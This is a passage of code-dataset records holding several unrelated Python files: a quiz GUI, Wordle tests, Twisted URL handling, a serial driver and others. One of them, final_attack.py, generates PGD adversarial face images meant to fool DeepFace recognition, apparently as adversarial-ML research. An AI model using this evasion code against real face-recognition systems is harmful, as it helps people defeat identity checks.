linestyle=':',\n label=f'{inspection_interval} year inspection freq.')\n\n plt.legend(loc='upper right', bbox_to_anchor=(1.7, 1))\n plt.xlabel('Years')\n plt.ylabel('PDF - Critical Cracks')\n plt.xscale('log')\n plt.grid(color='gray', alpha=0.3)\n","repo_name":"sandialabs/helpr","sub_path":"src/helpr/utilities/plots.py","file_name":"plots.py","file_ext":"py","file_size_in_byte":22394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"12699329330","text":"from tkinter import *\nfrom PIL import Image, ImageTk\nfrom tkinter.font import Font\nfrom tkcalendar import DateEntry\nfrom connection import Connect\nfrom tkinter import messagebox\nfrom tkinter import ttk\nimport datetime\nfrom profile import settings\n\nclass Dashboard:\n def __init__(self, id):\n self.user_id = id\n\n self.root = Tk()\n self.root.state('zoomed')\n self.root.title('QUIZ & LEARN - DASHBOARD')\n self.root.config(background=\"#330051\")\n\n # Favicon image for root window\n self.fav = PhotoImage(file='images/quiz.png')\n self.root.iconphoto(False, self.fav)\n\n # Get screen height & width for effective use of pack and place\n self.height = int(self.root.winfo_screenheight())\n self.width = int(self.root.winfo_screenwidth())\n\n # DATABASE CONNECTION\n self.conn = Connect()\n self.cr = self.conn.cursor()\n\n # Fonts used\n self.headerFont = Font(family='UI Gothic', size=36, weight='bold')\n self.subheaderFont = Font(family='UI Gothic', size=20)\n self.bodyFont = Font(family='UI Gothic', size=16)\n self.buttonFont = Font(family='Yu Gothic', size=12)\n\n # Colors By Default\n self.bgColorDark = '#330051'\n self.bgColor = '#360059'\n self.bgColorLite = '#3F0066'\n self.fgColor = '#F3EBFE'\n\n # Button Colors\n self.btn3 = \"#ff8d2c\"\n self.btn3A = \"#ff7e00\"\n\n self.btn1 = \"#6007ED\"\n self.btn1A = \"#520BD5\"\n\n\n # ____TREE VIEW STYLING ____\n self.treeStyle = ttk.Style()\n self.treeStyle.configure('Treeview', background=self.fgColor, foreground='black', rowheight=48,\n fieldground='black')\n self.treeStyle.map('Treeview', background=[('selected', '#3F0066')])\n\n self.openApplication()\n self.root.mainloop()\n\n def openApplication(self):\n\n self.supremeFrame = Frame(self.root, bg=self.bgColorDark)\n self.supremeFrame.pack(fill='both')\n # MajorFrames\n \"\"\"TO CONTAIN THE PAGE HEADING\"\"\"\n self.titleFrame = Frame(self.supremeFrame, pady=10, bg=self.bgColorDark)\n self.titleFrame.pack(fill='x')\n\n\n \"\"\"TO CONTAIN THE FIVE DAY WEATHER\"\"\"\n self.majorFrame2 = Frame(self.supremeFrame, pady=5, bg=self.bgColorLite)\n self.majorFrame2.pack(fill='x')\n\n \"\"\"TO CONTAIN THE THE THREE GRID FRAMES\"\"\"\n self.majorFrame1 = Frame(self.supremeFrame, bg=self.bgColor, pady=10, padx=10)\n self.majorFrame1.pack(fill='x')\n\n self.logoutButton = Button(self.titleFrame, text='LOGOUT', bg=self.btn1, fg=self.fgColor,\n activeforeground=self.fgColor, activebackground=self.btn1A, width=10, padx=15,\n font=self.subheaderFont,\n command=lambda: self.root.destroy() )\n self.logoutButton.pack(side='right', padx=60)\n\n\n # Title\n self.Title = Label(self.titleFrame, text='QUIZ & LEARN', font=self.headerFont, pady=2, bg=self.bgColorDark,\n fg=self.fgColor)\n self.Title.pack(padx=150, side='right')\n\n self.settingsButton = Button(self.titleFrame, text='SETTINGS', bg=self.btn3, fg=self.fgColor,\n activeforeground=self.fgColor, activebackground=self.btn3A, width=10, padx=15,\n font=self.subheaderFont,\n command=lambda k=self.user_id : settings(k))\n self.settingsButton.pack(side='right', padx=60)\n # MainFrames in grid\n self.mainFrame1 = Frame(self.majorFrame1, bg=self.bgColorLite, highlightbackground=self.fgColor,\n highlightthickness=2, padx=15, pady=10, height=330, width=self.width // 3 - 35)\n self.mainFrame1.grid(row=0, column=2, padx=15)\n self.mainFrame1.pack_propagate(0)\n\n self.mainFrame2 = Frame(self.majorFrame1, bg=self.bgColorLite, highlightbackground=self.fgColor,\n highlightthickness=2, padx=15, pady=10, height=330, width=self.width // 3 * 2 - 40)\n self.mainFrame2.grid(row=0, column=1, padx=15)\n self.mainFrame2.pack_propagate(0)\n\n\n\n # MainFrame To Accomodate the 5 day weather\n self.mainFrame4 = Frame(self.majorFrame2, pady=15, bg=self.bgColor, highlightbackground=self.fgColor,\n highlightthickness=2, width=self.width - 50, height=210)\n self.mainFrame4.pack(pady=15)\n self.mainFrame4.pack_propagate(0)\n\n self.subjects()\n self.scoreCard()\n self.profileInfo()\n\n def removeApplication(self):\n self.supremeFrame.pack_forget()\n\n\n \"\"\"_________________________________________________________________________________________________________________\n WEATHER AREA AND RELATED FUNCTIONS\n ____________________________________________________________________________________________________________________\"\"\"\n\n \"\"\" SHOW THE CONTENTS OF WEATHER FRAME \"\"\"\n def subjects(self):\n # Content in mainFrame1\n\n self.titleF1 = Label(self.mainFrame1, text='TAKE TEST', font=self.subheaderFont, bg=self.bgColorLite, fg=self.fgColor)\n self.titleF1.pack()\n\n # ListBox Containing all the Cities Present in the City Table\n self.subjectBox = Listbox(self.mainFrame1, bg=self.bgColor, fg=self.fgColor, selectbackground=self.bgColorDark,\n relief=FLAT, font=self.bodyFont, selectmode='SINGLE ', height=15, width=50,\n cursor='plus')\n\n self.subjectBox.pack()\n self.getSubject()\n\n def getSubject(self):\n\n q = f'select * from topic'\n self.cr.execute(q)\n result = self.cr.fetchall()\n print(result)\n self.subjectBox.delete(0, END)\n c = 1\n for r in result:\n self.subjectBox.insert(c, r['name'])\n c += 1\n\n\n \"\"\"_________________________________________________________________________________________________________________\n CITIES AREA AND RELATED FUNCTIONS\n ____________________________________________________________________________________________________________________\"\"\"\n\n def scoreCard(self):\n # Frame to contain the title as well as the add button\n self.titleFrameF2 = Label(self.mainFrame2, bg=self.bgColorLite, fg=self.fgColor)\n self.titleFrameF2.pack()\n\n # Frame Title\n self.titleF2 = Label(self.titleFrameF2, text='SCORE CARD', font=self.subheaderFont,\n bg=self.bgColorLite, fg=self.fgColor)\n self.titleF2.grid(row=0, column=0, sticky=\"w\", padx=0)\n\n # Treeview\n self.scoreTable = ttk.Treeview(self.mainFrame2)\n self.scoreTable['column'] = ('subject', 'date', 'marks', 'totalMarks')\n\n self.scoreTable.column('#0', width=0)\n self.scoreTable.column('subject', width=200, anchor=CENTER)\n self.scoreTable.column('date', width=200, anchor=CENTER)\n self.scoreTable.column('marks', width=150, anchor=CENTER)\n self.scoreTable.column('totalMarks', width=150, anchor=CENTER)\n\n self.scoreTable.heading('subject', text='SUBJECT', anchor=CENTER)\n self.scoreTable.heading('date', text='DATE', anchor=CENTER)\n self.scoreTable.heading('marks', text='MARKS', anchor=CENTER)\n self.scoreTable.heading('totalMarks', text='OUT OF', anchor=CENTER)\n\n\n self.scoreTable['show'] = 'headings'\n self.scoreTable.pack(pady=20)\n # self.getScore()\n\n self.scoreTable.pack()\n\n\n # def getScore(self):\n #\n # q = f\"select * from topic where user_id='{self.user_id}'\"\n # self.cr.execute(q)\n # result = self.cr.fetchall()\n # print(result)\n # for i in self.scoreTable.get_children():\n # self.scoreTable.delete(i)\n # count = 0\n # for i in result:\n # self.scoreTable.insert('', index=count, values=i)\n # count += 1\n\n\n \"\"\"_________________________________________________________________________________________________________________\n FIVE DAY WEATHER AREA AND RELATED FUNCTIONS\n ____________________________________________________________________________________________________________________\"\"\"\n def profileInfo(self):\n self.titleF3 = Label(self.mainFrame4, text='PROFILE', font=self.subheaderFont,\n bg=self.bgColor, fg=self.fgColor)\n self.titleF3.pack()\n\n # container Frame\n self.containerFrame = Frame(self.mainFrame4, bg=self.bgColorLite, pady=15, padx=15, highlightbackground=self.fgColor,\n highlightthickness=2, height=200, width=self.width-10)\n self.containerFrame.pack(padx=10)\n self.containerFrame.pack_propagate(0)\n\n # Name Frame\n self.infoFrame1 = Frame(self.containerFrame, bg=self.bgColorLite, height=200, width=self.width//4-25)\n self.infoFrame1.pack(side='left', anchor='w')\n self.infoFrame1.pack_propagate(0)\n\n # Ruler frame\n self.rulerFrame1 = Frame(self.containerFrame, bg=self.bgColorLite, highlightbackground=self.fgColor,\n highlightthickness=2, height=100, padx=5)\n self.rulerFrame1.pack(side='left', anchor='w')\n self.rulerFrame1.pack_propagate(0)\n\n # Total Test Frame\n self.infoFrame2 = Frame(self.containerFrame, bg=self.bgColorLite, height=200, width=self.width//4-25)\n self.infoFrame2.pack(side='left', anchor='w')\n self.infoFrame2.pack_propagate(0)\n\n # Ruler frame\n self.rulerFrame2 = Frame(self.containerFrame, bg=self.bgColorLite, highlightbackground=self.fgColor,\n highlightthickness=2, height=100, padx=5)\n self.rulerFrame2.pack(side='left', anchor='w')\n self.rulerFrame2.pack_propagate(0)\n\n # Highest marks Frame\n self.infoFrame3 = Frame(self.containerFrame, bg=self.bgColorLite, height=200, width=self.width//4-25)\n self.infoFrame3.pack(side='left', anchor='w')\n self.infoFrame3.pack_propagate(0)\n\n # Ruler frame\n self.rulerFrame3 = Frame(self.containerFrame, bg=self.bgColorLite, highlightbackground=self.fgColor,\n highlightthickness=2, height=100, padx=5)\n self.rulerFrame3.pack(side='left', anchor='w')\n self.rulerFrame3.pack_propagate(0)\n\n # Average marks Frame\n self.infoFrame4 = Frame(self.containerFrame, bg=self.bgColorLite, height=200, width=self.width//4-25)\n self.infoFrame4.pack(side='left', anchor='w')\n self.infoFrame4.pack_propagate(0)\n\n # inside self.infoFrame1 (name)\n self.userNameLabel = Label(self.infoFrame1, text='NAME', font=self.bodyFont, bg=self.bgColorLite, fg=self.fgColor)\n self.userNameLabel.pack()\n\n self.userNameValue = Label(self.infoFrame1, text='DUMMY', font=self.subheaderFont, bg=self.bgColorLite,\n fg=self.fgColor, pady=20)\n self.userNameValue.pack()\n\n # inside self.infoFrame2 (total test)\n self.userTestLabel = Label(self.infoFrame2, text='TESTS TAKEN', font=self.bodyFont, bg=self.bgColorLite,\n fg=self.fgColor)\n self.userTestLabel.pack()\n\n # inside self.infoFrame3 (HIGHEST)\n self.userHMarksLabel = Label(self.infoFrame3, text='HIGHEST MARKS', font=self.bodyFont, bg=self.bgColorLite,\n fg=self.fgColor)\n self.userHMarksLabel.pack()\n\n # inside self.infoFrame3 (HIGHEST)\n self.userAMarksLabel = Label(self.infoFrame4, text='AVERAGE MARKS', font=self.bodyFont,\n bg=self.bgColorLite,\n fg=self.fgColor)\n self.userAMarksLabel.pack()\n\n def showprofileInfo(self):\n pass\n\n def showError5D(self):\n pass\n\n def getWeather(self, event):\n pass\n\n\n# Dashboard(1)","repo_name":"vasuJoura/codingQuiz","sub_path":"Dashboard.py","file_name":"Dashboard.py","file_ext":"py","file_size_in_byte":12226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35962443794","text":"\"\"\"Validates the Gherkin file features/track_guesses.feature\n\nFeature: Playing a round\n As a Wordle game\n I need to track how many guesses were already given, stating wins/losses\n In order to play the game\n\"\"\"\n\n\nfrom literate_wordle.game import WordleGame, WordleMoveOutcome, play_round\nfrom literate_wordle.guess import CharacterScore as Score\n\n\ndef test_first_guess_allowed():\n \"\"\"Scenario: First guess is allowed\"\"\"\n # Given a wordle answer\n answer = \"orbit\"\n # And I didn't guess before\n guess_number = 0\n game = WordleGame(answer=answer, guess_number=guess_number)\n # When I guess the word\n guess = \"kebab\"\n result = play_round(guess, game)\n # Then my guess is scored\n OUTCOME_CONTINUE = WordleMoveOutcome.GUESS_SCORED_CONTINUE\n assert result.outcome == OUTCOME_CONTINUE, \"Game shouldn't be over yet\"\n assert result.score is not None, \"No score given as result\"\n assert len(result.score) == 5, \"Score of incorrect length\"\n ALLOWED_CHARS = [score.value for score in Score]\n assert all(\n char in ALLOWED_CHARS for char in list(result.score)\n ), \"Score doesn't match score's characters\"\n\n\ndef test_sixth_guess_allowed():\n \"\"\"Scenario: Fifth guess still allowed\"\"\"\n # Given a wordle answer\n answer = \"orbit\"\n # And I guessed 5 times\n guess_number = 6\n game = WordleGame(answer=answer, guess_number=guess_number)\n # When I guess the word\n guess = \"kebab\"\n result = play_round(guess, game)\n # Then my guess is scored\n OUTCOME_CONTINUE = WordleMoveOutcome.GUESS_SCORED_CONTINUE\n assert result.outcome == OUTCOME_CONTINUE, \"Game shouldn't be over yet\"\n assert result.score is not None, \"No score given as result\"\n assert len(result.score) == 5, \"Score of incorrect length\"\n OK_CHARS = [\"🟩\", \"🟨\", \"⬜\"]\n assert all(\n char in OK_CHARS for char in list(result.score)\n ), \"Score doesn't match score's characters\"\n\n\ndef test_seventh_guess_fails_game():\n \"\"\"Scenario: Sixth failed guess is game over\"\"\"\n # Given a wordle answer\n answer = \"orbit\"\n # And I guessed 6 times already\n # Guessing 6 times BEFORE, using seventh now:\n guess_number = 7\n game = WordleGame(answer, guess_number)\n # When I guess the word\n # And my guess isn't the answer\n guess = \"kebab\"\n result = play_round(guess, game)\n # Then my guess isn't scored\n assert result.outcome == WordleMoveOutcome.GAME_OVER_LOST, \"Should have lost game\"\n # But game shows \"Game Over\"\n assert \"game over\" in result.message.lower(), \"Should show game over message\"\n # And game shows the real answer\n assert answer in result.message\n\n\ndef test_winning_guess_wins():\n \"\"\"Scenario: Winning guess\"\"\"\n # Given a wordle answer\n answer = \"orbit\"\n # And I guessed 3 times\n guess_number = 3\n game = WordleGame(answer, guess_number)\n # When I guess the word\n # And my guess is the answer\n guess = answer\n result = play_round(guess, game)\n # Then my guess is scored\n assert result.score is not None, \"Guess should be scored\"\n # And the score is perfect\n assert result.score == \"🟩🟩🟩🟩🟩\"\n # And game shows \"Game Won\n assert result.outcome == WordleMoveOutcome.GAME_WON, \"Should have won game\"\n assert \"game won\" in result.message.lower()\n\n\n# Case covered by existing gherkin feature:\n# Intentional, see wordle.org for reasoning\ndef test_invalid_guess_not_counted():\n \"\"\"Scenario: Invalid guess isn't counted\"\"\"\n # Given a wordle answer\n answer = \"orbit\"\n # And I guessed 3 times\n guess_number = 3\n game = WordleGame(answer=answer, guess_number=guess_number)\n # When I guess the word\n # But my guess isn't a dictionary word\n guess = \"xolfy\"\n result = play_round(guess, game)\n # Then my guess is rejected as invalid word\n OUTCOME_BADWORD = WordleMoveOutcome.GUESS_NOTVALID_CONTINUE\n assert result.outcome == OUTCOME_BADWORD, \"Guess should have been rejected\"\n # And my guess is not scored\n assert result.score is None, \"No score should be given on bad word\"\n","repo_name":"OverkillGuy/literate-wordle","sub_path":"tests/test_track_guess_number.py","file_name":"test_track_guess_number.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"1309769717","text":"import os\n\nimport numpy as np\n\nimport gc\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchvision\n\nimport tensorflow as tf\n\nfrom cleverhans.torch.attacks.fast_gradient_method import fast_gradient_method\nfrom cleverhans.torch.attacks.carlini_wagner_l2 import carlini_wagner_l2\nfrom cleverhans.torch.attacks.projected_gradient_descent import projected_gradient_descent\n\nfrom data.datasets import load_lfw_test\nfrom attacks.base_models.resnet50_torch import load_resnet_classifier, load_resnet_pretrained_yny, load_resnet_yny\n\nimport sys\nimport shutil\n\ncustom = False\n\nbatch_size = 20\nstart = 0\nend = 50\n# start_at = int(sys.argv[1])\n# total_count = 10\n\nroot_save_path = 'attacks/classifier_proxy/'\n\ndef attack(params, surrogate_acc=False):\n \n torch.cuda.empty_cache()\n cpu = torch.device('cpu')\n gpu = torch.device('cuda')\n device = gpu if torch.cuda.is_available() else cpu\n \n # load data\n data_loader, dataset = load_lfw_test(batch_size)\n\n report = {'nb_test':0, 'correct':0, 'correct_pgd':0}\n\n # get save names\n save_path = root_save_path + 'pgd_' + '_'.join([str(params[k]) for k in sorted(list(params.keys()))])\n class_idx_to_path = {idx : path for (path, idx) in dataset.imgs}\n idx_to_path = {}\n\n attack_path = 'attacks/test/'\n \n ## fix eps_iter\n params['eps_iter'] = params['eps'] * params['eps_iter']\n\n # can use any torch model here\n model = load_resnet_classifier() # load_resnet_pretrained_yny()\n model = model.to(device)\n model.eval()\n # # send to gpu\n\n # # device = torch.device('cpu')\n\n # torch.cuda.empty_cache()\n\n # model = model.to(device=device)\n\n i = start\n for idx, (x, y) in enumerate(data_loader):\n if idx*batch_size < i:\n continue\n\n for j in range(batch_size):\n idx_to_path[i + j] = class_idx_to_path[y[j].detach().item()]\n\n print(torch.cuda.memory_allocated())\n \n x, y = x.to(device), y.to(device)\n\n # attack\n x_pgd = projected_gradient_descent(model, x, y=y, **params)\n \n # save images (on the cpu)\n # x_pgd = x_pgd.to(cpu)\n\n with torch.no_grad():\n # torchvision.utils.save_image(x_pgd, attack_path + '_'+str(idx)+'.png')\n for j in range(batch_size):\n torchvision.utils.save_image(\n x_pgd[j], \n attack_path + str(i+j)+'.png'\n )\n # torchvision.utils.save_image(x_pgd[j], attack_paths[i+j])\n\n # if surrogate_acc: \n # _, y_pred = model(x).max(1) # model prediction on clean examples\n # _, y_pred_pgd = model(x_pgd).max(1) # model prediction on PGD adversarial examples\n\n # report['nb_test'] += batch_size\n # report['correct_pgd'] += y_pred_pgd.eq(y_pred).sum().item()\n\n # del x, y, x_pgd\n \n i += batch_size\n if i > end:\n break\n\n torch.cuda.empty_cache()\n\n gc.collect()\n\n # move to the correct location\n attack_paths = [None]*(end - start)\n\n for i in range(start, end):\n p = idx_to_path[i]\n n = os.path.split(os.path.split(p)[0])[-1]\n ap = os.path.join(save_path, n)\n os.makedirs(ap, exist_ok=True)\n \n attack_paths[i-start] = os.path.join(ap,str(i)+'.png')\n\n print(attack_paths[i-start])\n\n for i in range(start, end):\n shutil.move(\n attack_path + str(i)+'.png', \n attack_paths[i-start]\n )\n\n if surrogate_acc:\n print(\n save_path, \"test acc on PGD adversarial examples (%): {:.3f}\".format(\n report['correct_pgd'] / report['nb_test'] * 100.0\n )\n )\n \n return save_path\n\nfrom deepface_surrogate_attack import eval_attack\n\nif __name__ == \"__main__\":\n\n # from sklearn.model_selection import ParameterGrid\n\n # param_grid = ParameterGrid(\n # {\n # 'eps' : [1e-3,1e-2,1e-1],\n # 'eps_iter' : [1e-2,1e-1],\n # 'norm' : [np.inf],\n # 'nb_iter' : [500],\n # 'sanity_checks' : [False]\n # }\n # )\n # for i, params in enumerate(param_grid):\n # print('%02d/%d'%(i,len(param_grid)), params)\n # save_path = attack(params)\n # eval_attack(save_path)\n\n save_path = attack({\n 'eps': 0.09, 'eps_iter':0.005, 'nb_iter':1000, 'norm':np.inf, 'sanity_checks':False\n })\n eval_attack(save_path)","repo_name":"will-jac/adverse-face","sub_path":"final_attack.py","file_name":"final_attack.py","file_ext":"py","file_size_in_byte":4516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"37482049072","text":"#Verificação se é um número primo, utilizando for com incremento\n\ncount = 0\nn = int(input('Insira um número: '))\nfor d in range(1,n+1):\n if n%d == 0:\n count +=1\n print(f'O número {n} é divisivel por {d}')\nif count > 2:\n print('Não é número primo')\nelse: \n print('É número primo')","repo_name":"Cauana/Estudos_Algoritmos_Logicadeprogramacao","sub_path":"Cap. 3 - exercícios de repetição/Cap 3 - ex fixação 3_3.py","file_name":"Cap 3 - ex fixação 3_3.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"25902233843","text":"from __future__ import division, absolute_import\n\nfrom twisted.python.compat import unicode\nfrom twisted.python.compat import urllib_parse as urlparse, urlunquote\n\n\nclass URLPath(object):\n \"\"\"\n A representation of a URL.\n\n @ivar scheme: The scheme of the URL (e.g. 'http').\n @type scheme: L{bytes}\n @ivar netloc: The network location (\"host\").\n @type netloc: L{bytes}\n @ivar path: The path on the network location.\n @type path: L{bytes}\n @ivar query: The query argument (the portion after ? in the URL).\n @type query: L{bytes}\n @ivar fragment: The page fragment (the portion after # in the URL).\n @type fragment: L{bytes}\n \"\"\"\n def __init__(self, scheme=b'', netloc=b'localhost', path=b'',\n query=b'', fragment=b''):\n self.scheme = scheme or b'http'\n self.netloc = netloc\n self.path = path or b'/'\n self.query = query\n self.fragment = fragment\n\n _qpathlist = None\n _uqpathlist = None\n\n def pathList(self, unquote=False, copy=True):\n \"\"\"\n Split this URL's path into its components.\n\n @return: The components of C{self.path}\n @rtype: L{list} of L{bytes}\n \"\"\"\n if self._qpathlist is None:\n self._qpathlist = self.path.split(b'/')\n self._uqpathlist = map(urlunquote, self._qpathlist)\n if unquote:\n result = self._uqpathlist\n else:\n result = self._qpathlist\n if copy:\n return result[:]\n else:\n return result\n\n\n @classmethod\n def fromString(klass, url):\n \"\"\"\n Make a L{URLPath} from a L{str} or L{unicode}.\n\n @param url: A L{str} representation of a URL.\n @type url: L{str} or L{unicode}.\n\n @rtype: L{URLPath}\n \"\"\"\n if not isinstance(url, (str, unicode)):\n raise ValueError(\"'url' must be a str or unicode\")\n url = url.encode('utf-8')\n parts = urlparse.urlsplit(url)\n return klass(*parts)\n\n\n @classmethod\n def fromBytes(klass, url):\n \"\"\"\n Make a L{URLPath} from a L{bytes}.\n\n @param url: A L{bytes} representation of a URL.\n @type url: L{bytes}\n\n @rtype: L{URLPath}\n\n @since: 15.4\n \"\"\"\n if not isinstance(url, bytes):\n raise ValueError(\"'url' must be bytes\")\n parts = urlparse.urlsplit(url)\n return klass(*parts)\n\n\n @classmethod\n def fromRequest(klass, request):\n \"\"\"\n Make a L{URLPath} from a L{twisted.web.http.Request}.\n\n @param request: A L{twisted.web.http.Request} to make the L{URLPath}\n from.\n\n @rtype: L{URLPath}\n \"\"\"\n return klass.fromBytes(request.prePathURL())\n\n\n def _pathMod(self, newpathsegs, keepQuery):\n if keepQuery:\n query = self.query\n else:\n query = b''\n return URLPath(self.scheme,\n self.netloc,\n b'/'.join(newpathsegs),\n query)\n\n\n def sibling(self, path, keepQuery=False):\n \"\"\"\n Get the sibling of the current L{URLPath}. A sibling is a file which is\n in the same directory as the current file.\n\n @param path: The path of the sibling.\n @type path: L{bytes}\n\n @param keepQuery: Whether to keep the query parameters on the returned\n L{URLPath}.\n @type: keepQuery: L{bool}\n\n @rtype: L{URLPath}\n \"\"\"\n l = self.pathList()\n l[-1] = path\n return self._pathMod(l, keepQuery)\n\n\n def child(self, path, keepQuery=False):\n \"\"\"\n Get the child of this L{URLPath}.\n\n @param path: The path of the child.\n @type path: L{bytes}\n\n @param keepQuery: Whether to keep the query parameters on the returned\n L{URLPath}.\n @type: keepQuery: L{bool}\n\n @rtype: L{URLPath}\n \"\"\"\n l = self.pathList()\n if l[-1] == b'':\n l[-1] = path\n else:\n l.append(path)\n return self._pathMod(l, keepQuery)\n\n\n def parent(self, keepQuery=False):\n \"\"\"\n Get the parent directory of this L{URLPath}.\n\n @param keepQuery: Whether to keep the query parameters on the returned\n L{URLPath}.\n @type: keepQuery: L{bool}\n\n @rtype: L{URLPath}\n \"\"\"\n l = self.pathList()\n if l[-1] == b'':\n del l[-2]\n else:\n # We are a file, such as http://example.com/foo/bar\n # our parent directory is http://example.com/\n l.pop()\n l[-1] = b''\n return self._pathMod(l, keepQuery)\n\n\n def here(self, keepQuery=False):\n \"\"\"\n Get the current directory of this L{URLPath}.\n\n @param keepQuery: Whether to keep the query parameters on the returned\n L{URLPath}.\n @type: keepQuery: L{bool}\n\n @rtype: L{URLPath}\n \"\"\"\n l = self.pathList()\n if l[-1] != b'':\n l[-1] = b''\n return self._pathMod(l, keepQuery)\n\n\n def click(self, st):\n \"\"\"\n Return a path which is the URL where a browser would presumably take\n you if you clicked on a link with an HREF as given.\n\n @rtype: L{URLPath}\n \"\"\"\n scheme, netloc, path, query, fragment = urlparse.urlsplit(st)\n if not scheme:\n scheme = self.scheme\n if not netloc:\n netloc = self.netloc\n if not path:\n path = self.path\n if not query:\n query = self.query\n elif path[0] != b'/':\n l = self.pathList()\n l[-1] = path\n path = b'/'.join(l)\n\n return URLPath(scheme,\n netloc,\n path,\n query,\n fragment)\n\n\n def __str__(self):\n x = urlparse.urlunsplit((\n self.scheme, self.netloc, self.path, self.query, self.fragment))\n\n if not isinstance(x, str):\n x = x.decode('utf8')\n\n return x\n\n\n def __repr__(self):\n return ('URLPath(scheme=%r, netloc=%r, path=%r, query=%r, fragment=%r)'\n % (self.scheme, self.netloc, self.path, self.query,\n self.fragment))\n","repo_name":"cluo/twisted","sub_path":"twisted/python/urlpath.py","file_name":"urlpath.py","file_ext":"py","file_size_in_byte":6311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"18566380643","text":"import time\nimport asyncio\nimport logging\nimport serial_asyncio\n\nfrom .serial_base import SerialBase\nfrom log.driver import driver_logger\n\nfrom .udev_tty import SerialPortFromUsbSetting\n\nclass SerialTty(SerialBase):\n \"\"\"\n \"\"\"\n\n # Hold instances mutex\n __MUTEX = asyncio.Lock()\n\n # Hold instances mutex\n __MUTEX = asyncio.Lock()\n\n # Contains instances\n __INSTANCES = {}\n\n # Local logs\n log = driver_logger(\"SerialTty\")\n\n ###########################################################################\n ###########################################################################\n\n @staticmethod\n async def Get(loop,**kwargs):\n \"\"\"Singleton main getter\n\n \n :Keyword Arguments:\n * *serial_port_name* (``str``) --\n serial port name\n \n * *serial_baudrate* (``int``) --\n serial baudrate\n \n * *usb_vendor* (``str``) --\n ID_VENDOR_ID\n * *usb_model* (``str``) --\n ID_MODEL_ID\n \"\"\"\n # Log\n SerialTty.log.debug(f\"Get connector for {kwargs}\")\n\n async with SerialTty.__MUTEX:\n\n # Log\n SerialTty.log.debug(f\"Lock acquired !\")\n\n\n # Get the serial port name\n serial_port_name = None\n if \"serial_port_name\" in kwargs:\n serial_port_name = kwargs[\"serial_port_name\"]\n elif \"usb_vendor\" in kwargs:\n # Get the serial port name using \"usb_vendor\"\n serial_port_name = SerialPortFromUsbSetting(**kwargs)\n kwargs[\"serial_port_name\"] = serial_port_name\n \n else:\n raise Exception(\"no way to identify the serial port\")\n\n # Create the new connector\n if not (serial_port_name in SerialTty.__INSTANCES):\n SerialTty.__INSTANCES[serial_port_name] = None\n try:\n new_instance = SerialTty(loop,**kwargs)\n await new_instance.connect()\n \n SerialTty.__INSTANCES[serial_port_name] = new_instance\n SerialTty.log.info(\"connector created\")\n except Exception as e:\n SerialTty.__INSTANCES.pop(serial_port_name)\n raise Exception('Error during initialization').with_traceback(e.__traceback__)\n else:\n SerialTty.log.info(\"connector already created, use existing instance\")\n\n # Return the previously created\n return SerialTty.__INSTANCES[serial_port_name]\n\n ###########################################################################\n ###########################################################################\n\n def __init__(self, loop,**kwargs):\n \"\"\"Constructor\n \"\"\"\n\n # Init local mutex\n self._mutex = asyncio.Lock()\n\n # Init command mutex\n self._cmd_mutex = asyncio.Lock()\n\n\n # Init time lock\n self._time_lock_s = None\n \n \n key = kwargs[\"serial_port_name\"]\n \n self.loop = loop\n \n if not (key in SerialTty.__INSTANCES):\n raise Exception(\"You need to pass through Get method to create an instance\")\n else:\n self.log = driver_logger(key)\n self.log.info(f\"attached to the UART Serial Connector\")\n\n \n # Configuration for UART communication\n\n self.port_name = kwargs.get(\"serial_port_name\", \"/dev/ttyUSB0\")\n self.baudrate = kwargs.get(\"serial_baudrate\", 9600)\n\n\n # ---\n\n async def connect(self):\n \"\"\"Start the serial connection\n \"\"\"\n\n self.reader,self.writer = await serial_asyncio.open_serial_connection(loop = self.loop,url=self.port_name, baudrate=self.baudrate)\n \n\n\n\n # =============================================================================\n # OVERRIDE FROM SERIAL_BASE\n\n\n async def beg_cmd(self):\n await self._cmd_mutex.acquire()\n\n async def end_cmd(self):\n self._cmd_mutex.release()\n\n\n # ---\n\n async def read_data(self, n_bytes = None):\n \"\"\"Read from UART using asynchronous mode\n \"\"\"\n \n async with self._mutex:\n\n try:\n if n_bytes is None:\n data = await asyncio.wait_for(self.reader.readline(), timeout=1.0)\n else:\n data = await asyncio.wait_for(self.reader.readexactly(n_bytes), timeout=1.0)\n print(f\"Read data: {data}, Type: {type(data)}\") # Debugging print\n return data\n \n except asyncio.TimeoutError as e: \n raise Exception('Error during reading uart').with_traceback(e.__traceback__)\n\n # ---\n\n async def write_data(self, message, time_lock_s=None):\n \"\"\"write to UART using asynchronous mode\n \"\"\"\n async with self._mutex:\n \n try:\n # Manage time lock by waiting for the remaining duration\n if self._time_lock_s:\n elapsed = time.time() - self._time_lock_s[\"t0\"]\n if elapsed < self._time_lock_s[\"duration\"]:\n\n wait_time = self._time_lock_s[\"duration\"] - elapsed\n self.log.debug(f\"wait lock {wait_time}\")\n await asyncio.sleep(wait_time)\n self._time_lock_s = None\n\n # Start sending the message\n self.writer.write(message.encode())\n\n # Wait for the emittion completion\n await self.writer.drain()\n\n # Set the time lock if requested by the user\n if time_lock_s != None:\n self._time_lock_s = {\n \"duration\": time_lock_s,\n \"t0\": time.time()\n }\n\n except Exception as e:\n raise Exception('Error during writing to uart').with_traceback(e.__traceback__)\n\n\n","repo_name":"Panduza/panduza-py","sub_path":"platform/panduza_platform/connectors/serial_tty.py","file_name":"serial_tty.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"2742401933","text":"import os\nfrom configparser import ConfigParser\n\nfrom features.feature_extractor import FeatureExtractor\nfrom processors.process import Process\nfrom utils.file_utils import write_feature_file\nfrom utils.human_ranking import HumanRanking\nfrom utils.learn_to_rank import learn_to_rank\nfrom utils.ranking_data import RankingData\n\n\ndef feature_extraction(config_features_path):\n\n config = ConfigParser()\n config.readfp(open(config_features_path))\n wd = config.get('WMT', 'working_directory')\n if not os.path.exists(wd):\n 